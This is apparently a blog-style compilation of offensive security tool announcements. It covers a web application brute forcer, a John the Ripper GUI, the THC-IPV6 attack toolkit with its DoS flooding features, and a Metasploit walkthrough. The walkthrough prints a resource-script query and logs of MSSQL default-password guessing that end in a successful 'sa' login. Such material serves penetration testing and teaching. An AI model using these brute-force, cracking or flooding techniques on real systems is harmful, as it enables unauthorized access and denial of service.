webslayer - Web application bruteforcer

WebSlayer is a tool designed for brute forcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts,files, etc), brute force GET and POST parameters, bruteforce Forms parameters (User/Password), Fuzzing, etc. The tools has a payload generator and an easy and powerful results analyzer.

You can perform attacks like:

Predictable resource locator, recursion supported (Discovery)

Login forms brute force

Session brute force

Parameter brute force

Parameter fuzzing and injection (XSS, SQL)

Basic and Ntml authentication brute forcing

Features:

Recursion

Encodings: 15 encodings supported

Authentication: supports Ntml and Basic

Multiple payloads: you can use 2 payloads in different parts

Proxy support (authentication supported)

For predictable resource location it has: Recursion, common extensions, non standard code detection

Multiple filters for improving the performance and for producing cleaner results

Live filters

Multithreads

Session saving

Integrated browser (webKit)

Time delay between requests

Attack balancing across multiple proxies

Predefined dictionaries for predictable resource location, based on known servers (Thanks to Dark Raver, www.open-labs.org)

This site will be used to host the project files, and for issues management.

Official OWASP: site

Download from here

Source-

http://www.edge-security.com/webslayer.php

MSSQL Brute forcing with Resource Scripts from carnal0wnage

MSSQL Brute forcing with Resource Scripts

How can we brute force MSSQL servers that listen on several different ports without having to manually change the RPORT?

*MSF Pro/Express handle this for you using the database.

Possible Solution:

Use a resource script to populate the values for us.

This will work but we have to get the data in there.

1. Set up the database for metasploit

2. Get a list of servers

OSQL -L

Servers:
    SEVERNAME1\SQL2000
    SEVERNAME2\SQL2005

OSQL will give you a list of hostnames, we need to turn these hostnames into IP addresses/ranges for mssql_ping.

You can use post/windows/recon/resolve_hostname to a list of hostnames and turn these into IP addresses.


msf  post(resolve_hostname) > run

[*] www.google.com resolves to 173.194.73.106
[*] www.example.com resolves to 192.0.43.10
[-] Failed to resolve test.local
[*] DC1 resolves to 172.16.10.10
[*] SEVERNAME1 resolves to 192.168.237.197
[*] SEVERNAME2 resolves to 192.168.237.211
[*] Post module execution completed

with a list of IP addresses...do mssql_ping

msf  auxiliary(mssql_ping) > run
[*] SQL Server information for 192.168.237.197:
[+]    InstanceName    = MSSQLSERVER
[+]    IsClustered     = No
[+]    tcp             = 1433
[+]    np              = \\servername1\pipe\sql\query
[+]    Version         = 8.00.194
[+]    ServerName      = SEVERNAME1
[*] SQL Server information for 192.168.237.211:
[+]    InstanceName    = INSTANCE1
[+]    IsClustered     = Yes
[+]    tcp             = 2261
[+]    np              = \\servername2\pipe\MSSQL$INSTANCE1\sql\query
[+]    Version         = 10.50.1600.1
[+]    ServerName      = SEVERNAME2


Now we can pull tcp ports out using the db query use the resource script to set the RHOST and RPORT for you per entry. weeeeeee

the query:

begin
framework.db.services.each do |service|
if ( service.name =~ /mssql/i and service.state == 'open' and service.proto == 'tcp')
hosts << {'ip' => service.host.address, 'port' => service.port}
end
end

We can use that query to populate stuff on the fly for us.

example:

[*] Processing mssql_brute.rb for ERB directives.
[*]resource (mssql_brute.rb)> Ruby Code (932 bytes)
USERPASS_FILE => /opt/framework/mssql2.txt
RHOSTS => 192.168.237.197
RPORT => 1433
BRUTEFORCE_SPEED => 2
BLANK_PASSWORDS => false
USER_AS_PASS => false

[*]192.168.237.197:1433 - MSSQL - Starting authentication scanner.
[*]192.168.237.197:1433 MSSQL - [1/6] - Trying username:'sa' with password:''
[-]192.168.237.197:1433 MSSQL - [1/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [2/6] - Trying username:'sa' with password:'sa'
[-]192.168.237.197:1433 MSSQL - [2/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [3/6] - Trying username:'sa' with password:'password'
[-]192.168.237.197:1433 MSSQL - [3/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [4/6] - Trying username:'sa' with password:'sql'
[-]192.168.237.197:1433 MSSQL - [4/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [5/6] - Trying username:'sa' with password:'database'
[-]192.168.237.197:1433 MSSQL - [5/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [6/6] - Trying username:'sa' with password:'mssql'
[-]192.168.237.197:1433 MSSQL - [6/6] - failed to login as 'sa'

RHOSTS => 192.168.237.211
RPORT => 2261
BRUTEFORCE_SPEED => 2
BLANK_PASSWORDS => false
USER_AS_PASS => false

[*]192.168.237.211:2261 - MSSQL - Starting authentication scanner.
[*]192.168.237.211:2261 MSSQL - [1/6] - Trying username:'sa' with password:''
[-]192.168.237.211:2261 MSSQL - [1/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [2/6] - Trying username:'sa' with password:'sa'
[-]192.168.237.211:2261 MSSQL - [2/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [3/6] - Trying username:'sa' with password:'password'
[-]192.168.237.211:2261 MSSQL - [3/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [4/6] - Trying username:'sa' with password:'sql'
[-]192.168.237.211:2261 MSSQL - [4/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [5/6] - Trying username:'sa' with password:'database'
[+]192.168.237.211:2261 - MSSQL - successful login 'sa' : 'database'
[*]192.168.237.211:2261 MSSQL - [6/6] - Trying username:'sa' with password:'mssql'
[-]192.168.237.211:2261 MSSQL - [6/6] - failed to login as 'sa'
[*]Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

code is available here:
https://github.com/carnal0wnage/Metasploit-Code/blob/master/scripts/resource/mssql_brute.rb

lots of other resource scripts are in the scripts/resources directory in your msf install.
https://github.com/rapid7/metasploit-framework/tree/master/scripts/resource

Source-

http://carnal0wnage.attackresearch.com/2013/01/mssql-brute-forcing-with-resource.html

John Of Yogyafree – GUI of John the Ripper

John Of Yogyafree is a GUI tool for John the Ripper (http://www.openwall.com/john), which is very popular hash cracker on Linux platforms, Windows, UNIX and others. John Of Yogyafree allows you to run John the Ripper with a simple way on your Windows and easy to understand.

Usage:-
In JohnOfYogyafree.zip, there is johntheripper.zip. extract it to C: \. but if you have installed the john the ripper. you do not need to do this.

Extract file JohnOfYogyafree.exe, comdlg32.ocx, VSFLEX3.OCX to the folder you want. Run JohnOfYogyafree.exe

Download from here

Source -
http://ferdianellixcode.wordpress.com/2012/09/06/john-of-yogyafree-gui-of-john-the-ripper/

THC-IPV6 v2.0 released

The THC IPV6 ATTACK TOOLKIT (THC-IPV6) is a complete tool set to attack the inherent protocol weaknesses of IPV6 and ICMP6, and includes an easy to use packet factory library.

Changes made to THC-IPV6:

• made tool alive26 public and renamed it to alive6, it’s a complete rewrite
  • common address scanning with -D
  • SLAAC address range scanning with -M
  • range scanning e.g. alive6 eth0 2003:1:2:0-f::0-2
  • more scanning options for TCP-SYN, TCP-ACK, UDP, ICMP Echo etc.
• made tool flood_router26 public
  • even faster DOS for all Windows platforms
  • new DOS type also attacks current *BSD platforms
• made feature 6to4, VLAN-Q/801.1q and PPPoE injection features public
  • see the file HOWTO-INJECT for details
• trace6:
  • added -b option for stealthy tracerouting
  • fixed -a option reply packet analysis
  • added -F and -D options to add frag & dst headers, not documented
  • if the destination is not reached, print three ??? entries and warn
• thcping6:
  • added -D xxx fragmenting large destination header option
  • added -q for hop-by-hop quickstart option
• fake_dns6d: specified a wrong listen port, silly me
• fake_router26: added -L DNS searchlist option
• fuzz_ip6:
  • RA: added DNS searchlist, and extended flag options
  • added node information query fuzzing (-0), renamed TCP fuzzing to -s
• toobig6: no restriction on mtu value anymore
• dnsrevenum6: switched the output printing order
• exploit6: fixed a crash in test case 4
• implementation6: enhancements to not run into icmp error rate limiting
• thc-ipv6-lib:
  • more intelligent source address selection
  • fixed crash in toobig function
  • better support of broken fragmentation implementations

Download THC-IPV6:

THC-IPV6 v2.0 –
thc-ipv6-2.0.tar.gz

Source -

http://www.pentestit.com/update-thcipv6-v20/

http://www.thc.org/thc-ipv6/